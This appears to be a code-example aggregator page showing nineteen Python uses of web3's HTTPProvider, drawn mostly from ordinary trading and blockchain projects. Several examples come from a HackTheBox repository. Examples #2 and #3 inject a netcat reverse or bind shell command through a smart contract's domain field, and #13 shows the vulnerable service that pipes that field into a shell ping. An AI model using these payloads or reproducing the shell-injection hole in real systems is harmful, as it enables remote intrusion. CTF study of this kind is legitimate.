Python web3.Web3.HTTPProvider() Examples
The following are 19
code examples of web3.Web3.HTTPProvider().
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example.
You may also want to check out all available functions/classes of the module
web3.Web3
, or try the search function
.
Example #1
Source File: test_web3_wallet.py From hummingbot with Apache License 2.0 | 6 votes |
def setUpClass(cls): cls.clock: Clock = Clock(ClockMode.REALTIME) cls.erc20_token_address = conf.test_erc20_token_address cls.w3 = Web3(Web3.HTTPProvider(conf.test_web3_provider_list[0])) cls.wallet_a = Web3Wallet( conf.web3_test_private_key_a, conf.test_web3_provider_list, [cls.erc20_token_address]) cls.wallet_b = Web3Wallet( conf.web3_test_private_key_b, conf.test_web3_provider_list, [cls.erc20_token_address]) cls.erc20_token: ERC20Token = list(cls.wallet_a.current_backend.erc20_tokens.values())[0] cls.clock.add_iterator(cls.wallet_a) cls.clock.add_iterator(cls.wallet_b) cls.ev_loop: asyncio.BaseEventLoop = asyncio.get_event_loop() next_iteration = (time.time() // 5.0 + 1) * 5 cls.ev_loop.run_until_complete(cls.clock.run_til(next_iteration))
Example #2
Source File: exploit.py From HackTheBox with MIT License | 6 votes |
def run_exploit(ip): # Store Ethereum contract address caddress = open('address.txt', 'r').read() caddress = caddress.replace('\n', '') # Store Ethereum contract configuration with open('WeaponizedPing.json') as f: contractData = json.load(f) # Establish a connection with the Ethereum RPC client w3 = Web3(Web3.HTTPProvider('http://{}:9810'.format(TARGET_IP))) w3.eth.defaultAccount = w3.eth.accounts[0] # Fetch Application Binary Interface (ABI) and Ethereum bytecode Url = w3.eth.contract(abi=contractData['abi'], bytecode=contractData['bytecode']) contractInstance = w3.eth.contract(address=caddress, abi=contractData['abi']) # Calling the function of contract to set a new domain url = contractInstance.functions.setDomain('google.co.uk | nc {} 9191 -e /bin/bash'.format(ip)).transact() # Start netcat handler for reverse shell try: subprocess.call(['nc -lvnp 9191'], shell=True, stderr=subprocess.STDOUT) except: print('[*] Quitting netcat...')
Example #3
Source File: bind.py From HackTheBox with MIT License | 6 votes |
def run_exploit(ip): # Store Ethereum contract address caddress = open('address.txt', 'r').read() caddress = caddress.replace('\n', '') # Store Ethereum contract configuration with open('WeaponizedPing.json') as f: contractData = json.load(f) # Establish a connection with the Ethereum RPC client w3 = Web3(Web3.HTTPProvider('http://{}:9810'.format(TARGET_IP))) w3.eth.defaultAccount = w3.eth.accounts[0] # Fetch Application Binary Interface (ABI) and Ethereum bytecode Url = w3.eth.contract(abi=contractData['abi'], bytecode=contractData['bytecode']) contractInstance = w3.eth.contract(address=caddress, abi=contractData['abi']) # Calling the function of contract to set a new domain url = contractInstance.functions.setDomain('192.168.1.8 | nc -lvnp 9292 -e /bin/bash'.format(ip)).transact() print(contractInstance.functions.getDomain().call())
Example #4
Source File: zero_ex_coordinator_v3.py From hummingbot with Apache License 2.0 | 6 votes |
def __init__(self, provider: Web3.HTTPProvider, w3: Web3, exchange_address: str, coordinator_address: str, coordinator_registry_address: str, wallet: Web3Wallet, chain_id: int): self._provider: Web3.HTTPProvider = provider self._w3: Web3 = w3 self._exchange_contract: Contract = w3.eth.contract(address=exchange_address, abi=exchange_abi) self._exchange_address: str = exchange_address self._coordinator_contract: Contract = w3.eth.contract(address=coordinator_address, abi=coordinator_abi) self._coordinator_address: str = coordinator_address self._registry_contract: Contract = w3.eth.contract(address=coordinator_registry_address, abi=coordinator_registry_abi) self._registry_address: str = coordinator_registry_address self._wallet: Web3Wallet = wallet self._feeRecipientToEndpoint = {} self._chain_id = chain_id self._current_gas_price = wallet.gas_price + 10
Example #5
Source File: contracts.py From saffron with GNU General Public License v3.0 | 6 votes |
def __init__(self, name, sol_file_path): assert name != None, 'A name identifier must be provided to create a new contract instance.' _name, _address = database.contract_exists(name=name) assert _name is None and _address is None node_info = json.loads(open(os.environ['NODE_INFO_JSON']).read()) self.web3 = Web3(Web3.HTTPProvider("http://127.0.0.1:{port}".format(port=node_info.get('rpcport')))) self.name = name self.is_deployed = None with open(sol_file_path) as f: self.sol = load_sol_file(f) self.template_json = Environment().from_string(database.input_json).render(name=self.name, sol=json.dumps(self.sol)) self.output_json = compile_standard(json.loads(self.template_json)) self.compiled_name = list(self.output_json['contracts'][self.name].keys())[0] self.contracts = self.output_json['contracts'][self.name][self.compiled_name] self.abi = self.contracts['abi'] self.metadata = self.contracts['metadata'] self.bytecode = self.contracts['evm']['deployedBytecode']['object'] self.gas_estimates = self.contracts['evm']['gasEstimates'] self.method_identifiers = self.contracts['evm']['methodIdentifiers'] # set in deploy self.address = None self.instance = None self.defaulAccount = None
Example #6
Source File: accounts.py From saffron with GNU General Public License v3.0 | 6 votes |
def __init__(self, name=None, address=None, password=None, chain=None): '''initialize the class TODO : document chain () TODO : salt passwords with bcrypt or better Args: _address (str): chain address. _name (str): name of token/chain. password (str): password to account ''' _name, _address = account_exists(name=name) if not _address: self.address = create_account(password) self.name = name Chain().database.insert_account(name, self.address) self._new_account = True else: self.name = _name self.address = _address self._new_account = False node_info = json.loads(open(os.environ['NODE_INFO_JSON']).read()) self.web3 = Web3(Web3.HTTPProvider("http://127.0.0.1:{port}".format(port=node_info.get('rpcport')))) self.p = Personal(self.web3)
Example #7
Source File: connection.py From shadowlands with MIT License | 5 votes |
def connect_w3_custom_http(self, custom_uri=None): self.cleanout_w3() from web3 import Web3 if not custom_uri: custom_uri = self.config.http_uri w3 = Web3(Web3.HTTPProvider(custom_uri)) if self.is_connected_with(w3, 'Custom HTTP', 3): self.config.http_uri = custom_uri self.config.default_method = self.connect_w3_custom_http.__name__ return True return False
Example #8
Source File: ethereum.py From hummingbot with Apache License 2.0 | 5 votes |
def check_web3(ethereum_rpc_url: str) -> bool: try: w3: Web3 = Web3(Web3.HTTPProvider(ethereum_rpc_url, request_kwargs={"timeout": 2.0})) ret = w3.isConnected() except Exception: ret = False if not ret: if ethereum_rpc_url.startswith("http://mainnet.infura.io"): logging.getLogger().warning("You are connecting to an Infura using an insecure network protocol " "(\"http\"), which may not be allowed by Infura. " "Try using \"https://\" instead.") if ethereum_rpc_url.startswith("mainnet.infura.io"): logging.getLogger().warning("Please add \"https://\" to your Infura node url.") return ret
Example #9
Source File: user_balances.py From hummingbot with Apache License 2.0 | 5 votes |
def ethereum_balance() -> Decimal: ethereum_wallet = global_config_map.get("ethereum_wallet").value ethereum_rpc_url = global_config_map.get("ethereum_rpc_url").value web3 = Web3(Web3.HTTPProvider(ethereum_rpc_url)) balance = web3.eth.getBalance(ethereum_wallet) balance = web3.fromWei(balance, "ether") return balance
Example #10
Source File: test_parity_http.py From web3.py with MIT License | 5 votes |
def web3(parity_process, endpoint_uri): wait_for_http(endpoint_uri) _web3 = Web3(Web3.HTTPProvider(endpoint_uri)) return _web3
Example #11
Source File: test_goethereum_http.py From web3.py with MIT License | 5 votes |
def web3(geth_process, endpoint_uri): wait_for_http(endpoint_uri) _web3 = Web3(Web3.HTTPProvider(endpoint_uri)) return _web3
Example #12
Source File: utils.py From evmlab with GNU General Public License v3.0 | 5 votes |
def getApi(url): web3 = Web3(Web3.HTTPProvider(url, request_kwargs={'timeout': 60})) chain = etherchain.EtherChainAPI() return multiapi.MultiApi(web3 = web3, etherchain = chain)
Example #13
Source File: main.py From HackTheBox with MIT License | 5 votes |
def load_contract(): oldDomain = "google.com" while True: # Load Ethereum contract configuration with open('/opt/WeaponizedPing/shared/WeaponizedPing.json') as f: contractData = json.load(f) # Establish Ethereum RPC interface w3 = Web3(Web3.HTTPProvider('http://127.0.0.1:9810')) w3.eth.defaultAccount = w3.eth.accounts[0] # Get Application Binary Interface (ABI) and Ethereum bytecode Url = w3.eth.contract(abi=contractData['abi'], bytecode=contractData['bytecode']) # Create new (or load current) smart contract address try: caddress = open("/opt/WeaponizedPing/shared/address.txt",'r').read() caddress = caddress.replace('\n', '') except: with open("/opt/WeaponizedPing/shared/address.txt", 'w') as f: tx_hash = \ Url.constructor().transact({'from': w3.eth.accounts[0]}) tx_receipt = w3.eth.waitForTransactionReceipt(tx_hash) caddress = tx_receipt.contractAddress f.write("{}\r\n".format(caddress)) f.close() # Create contract instance contractInstance = w3.eth.contract(address=caddress, abi=contractData['abi']) # Calling the function of contract to ping the specified domain newDomain = contractInstance.functions.getDomain().call() if newDomain != oldDomain: subprocess.Popen(['ping -c 1 {}'.format(newDomain)], shell=True, stderr=subprocess.STDOUT) oldDomain = newDomain time.sleep(5)
Example #14
Source File: test_uniswap.py From uniswap-python with MIT License | 5 votes |
def web3_provider(): provider = os.environ["TESTNET_PROVIDER"] w3 = Web3(Web3.HTTPProvider(provider, request_kwargs={"timeout": 60})) return w3
Example #15
Source File: uniswap.py From uniswap-python with MIT License | 4 votes |
def __init__(self, address, private_key, provider=None, web3=None): if not web3: # Initialize web3. Extra provider for testing. if not provider: self.provider = os.environ["PROVIDER"] self.network = "mainnet" else: self.provider = provider self.network = "testnet" self.w3 = Web3(Web3.HTTPProvider(self.provider, request_kwargs={"timeout": 60})) else: self.w3 = web3 self.network = "mainnet" self.address = address self.private_key = private_key # This code automatically approves you for trading on the exchange. # max_approval is to allow the contract to exchange on your behalf. # max_approval_check checks that current approval is above a reasonable number # The program cannot check for max_approval each time because it decreases # with each trade. self.eth_address = "0x0000000000000000000000000000000000000000" self.max_approval_hex = "0x" + "f" * 64 self.max_approval_int = int(self.max_approval_hex, 16) self.max_approval_check_hex = "0x" + "0" * 15 + "f" * 49 self.max_approval_check_int = int(self.max_approval_check_hex, 16) # Initialize address and contract path = f"{os.path.dirname(os.path.abspath(__file__))}/assets/" with open(os.path.abspath(path + "contract_addresses.JSON")) as f: token_and_exchange_addresses = json.load(f)[self.network] with open(os.path.abspath(path + "uniswap_exchange.abi")) as f: exchange_abi = json.load(f) with open(os.path.abspath(path + "erc20.abi")) as f: erc20_abi = json.load(f) # Define exchange address, contract instance, and token_instance based on # token address self.exchange_address_from_token = {} self.token_address_from_exchange = {} self.exchange_contract = {} self.erc20_contract = {} for token_address, exchange_address in token_and_exchange_addresses.items(): self.exchange_address_from_token[token_address] = exchange_address self.exchange_contract[token_address] = self.w3.eth.contract( address=exchange_address, abi=exchange_abi ) self.erc20_contract[token_address] = self.w3.eth.contract( address=token_address, abi=erc20_abi ) # ------ Decorators ----------------------------------------------------------------
Example #16
Source File: eth.py From dydx-python with Apache License 2.0 | 4 votes |
def __init__( self, node, private_key, public_address, account_number ): self.web3 = Web3(None if node is None else Web3.HTTPProvider(node)) self.private_key = private_key self.public_address = public_address self.account_number = account_number self.min_nonce = self.web3.eth.getTransactionCount(self.public_address) self.solo = EthSolo( self, self.public_address, self.account_number, ) self.perp = EthPerp( self, self.public_address, ) self.weth_contract = self.create_contract( consts.WETH_ADDRESS, 'abi/erc20.json' ) self.sai_contract = self.create_contract( consts.SAI_ADDRESS, 'abi/erc20.json' ) self.usdc_contract = self.create_contract( consts.USDC_ADDRESS, 'abi/erc20.json' ) self.dai_contract = self.create_contract( consts.DAI_ADDRESS, 'abi/erc20.json' ) # ----------------------------------------------------------- # Helper Functions # -----------------------------------------------------------
Example #17
Source File: privesc.py From HackTheBox with MIT License | 4 votes |
def enter_club(): # Store Ethereum contract address with open("/home/bobby/projects/ChainsawClub/address.txt",'r') as f: caddress = f.read().rstrip() f.close() # Load Ethereum contract configuration with open('/home/bobby/projects/ChainsawClub/ChainsawClub.json') as f: contractData = json.load(f) f.close() # Establish a connection with the Ethereum RPC interface w3 = Web3(Web3.HTTPProvider('http://127.0.0.1:63991')) w3.eth.defaultAccount = w3.eth.accounts[0] # Get Application Binary Interface (ABI) and Ethereum bytecode Url = w3.eth.contract(abi=contractData['abi'], bytecode=contractData['bytecode']) contractInstance = w3.eth.contract(address=caddress, abi=contractData['abi']) # Phase I & II: Create a new account and confirm username = "artikrh" password = hashlib.md5() password.update("arti".encode('utf-8')) password = password.hexdigest() contractInstance.functions.setUsername(username).transact() contractInstance.functions.setPassword(password).transact() cusername = contractInstance.functions.getUsername().call() cpassword = contractInstance.functions.getPassword().call() print("[*] Added user: {}".format(cusername)) print("[*] Password (MD5): {}".format(cpassword)) # Phase III: Approve our user and confirm contractInstance.functions.setApprove(True).transact() approvalStatus = contractInstance.functions.getApprove().call() print("[*] Approval status: {}".format(approvalStatus)) # Phase IV: Transfer needed funds of value 1000 and confirm contractInstance.functions.transfer(1000).transact() supply = contractInstance.functions.getSupply().call() balance = contractInstance.functions.getBalance().call() print("[*] Supply left: {}".format(supply)) print("[*] Total balance: {}".format(balance))
Example #18
Source File: web3_wallet_backend.py From hummingbot with Apache License 2.0 | 4 votes |
def __init__(self, private_key: Any, jsonrpc_url: str, erc20_token_addresses: List[str], chain: EthereumChain = EthereumChain.ROPSTEN): super().__init__() # Initialize Web3, accounts and contracts. self._w3: Web3 = Web3(Web3.HTTPProvider(jsonrpc_url)) self._chain: EthereumChain = chain self._account: LocalAccount = Account.privateKeyToAccount(private_key) self._ev_loop: asyncio.AbstractEventLoop = asyncio.get_event_loop() # Initialize ERC20 tokens data structures. self._erc20_token_list: List[ERC20Token] = [ ERC20Token(self._w3, erc20_token_address, self._chain) for erc20_token_address in erc20_token_addresses ] self._erc20_tokens: Dict[str, ERC20Token] = OrderedDict() self._asset_decimals: Dict[str, int] = {"ETH": 18} self._weth_token: Optional[ERC20Token] = None # Initialize the event forwarders. self._received_asset_event_forwarder: EventForwarder = EventForwarder( self._received_asset_event_listener ) self._approved_token_event_forwarder: EventForwarder = EventForwarder( self._token_approved_event_listener ) self._wrapped_eth_event_forwarder: EventForwarder = EventForwarder( self._eth_wrapped_event_listener ) self._unwrapped_eth_event_forwarder: EventForwarder = EventForwarder( self._eth_unwrapped_event_listener ) self._zeroex_fill_event_forwarder: EventForwarder = EventForwarder( self._zeroex_fill_event_listener ) # Blockchain data self._local_nonce: int = -1 # Watchers self._new_blocks_watcher: Optional[NewBlocksWatcher] = None self._account_balance_watcher: Optional[AccountBalanceWatcher] = None self._erc20_events_watcher: Optional[ERC20EventsWatcher] = None self._incoming_eth_watcher: Optional[IncomingEthWatcher] = None self._weth_watcher: Optional[WethWatcher] = None self._zeroex_fill_watcher: Optional[ZeroExFillWatcher] = None # Tasks and transactions self._check_network_task: Optional[asyncio.Task] = None self._network_status: NetworkStatus = NetworkStatus.STOPPED self._outgoing_transactions_queue: asyncio.Queue = asyncio.Queue() self._outgoing_transactions_task: Optional[asyncio.Task] = None self._check_transaction_receipts_task: Optional[asyncio.Task] = None self._pending_tx_dict: Dict[str, any] = {} self._gas_price: int = self.DEFAULT_GAS_PRICE self._last_timestamp_received_blocks: float = 0.0 self._event_forwarder: EventForwarder = EventForwarder(self._did_receive_new_blocks)
Example #19
Source File: privesc.py From HackTheBox with MIT License | 4 votes |
def enter_club(): # Store Ethereum contract address caddress = open("address.txt",'r').read() caddress = caddress.replace('\n', '') # Load Ethereum contract configuration with open('build/contracts/ChainsawClub.json') as f: contractData = json.load(f) # Establish a connection with the Ethereum RPC interface w3 = Web3(Web3.HTTPProvider('http://127.0.0.1:63991')) w3.eth.defaultAccount = w3.eth.accounts[0] # Get Application Binary Interface (ABI) and Ethereum bytecode Url = w3.eth.contract(abi=contractData['abi'], bytecode=contractData['bytecode']) contractInstance = w3.eth.contract(address=caddress, abi=contractData['abi']) # Phase I & II: Create a new account and confirm username = "artikrh" password = hashlib.md5() password.update("arti".encode('utf-8')) password = password.hexdigest() contractInstance.functions.setUsername(username).transact() contractInstance.functions.setPassword(password).transact() cusername = contractInstance.functions.getUsername().call() cpassword = contractInstance.functions.getPassword().call() print("[*] Added user: {}".format(cusername)) print("[*] Password (MD5): {}".format(cpassword)) # Phase III: Approve our user and confirm contractInstance.functions.setApprove(True).transact() approvalStatus = contractInstance.functions.getApprove().call() print("[*] Approval status: {}".format(approvalStatus)) # Phase IV: Transfer needed funds of value 1000 and confirm contractInstance.functions.transfer(1000).transact() supply = contractInstance.functions.getSupply().call() balance = contractInstance.functions.getBalance().call() print("[*] Supply left: {}".format(supply)) print("[*] Total balance: {}".format(balance))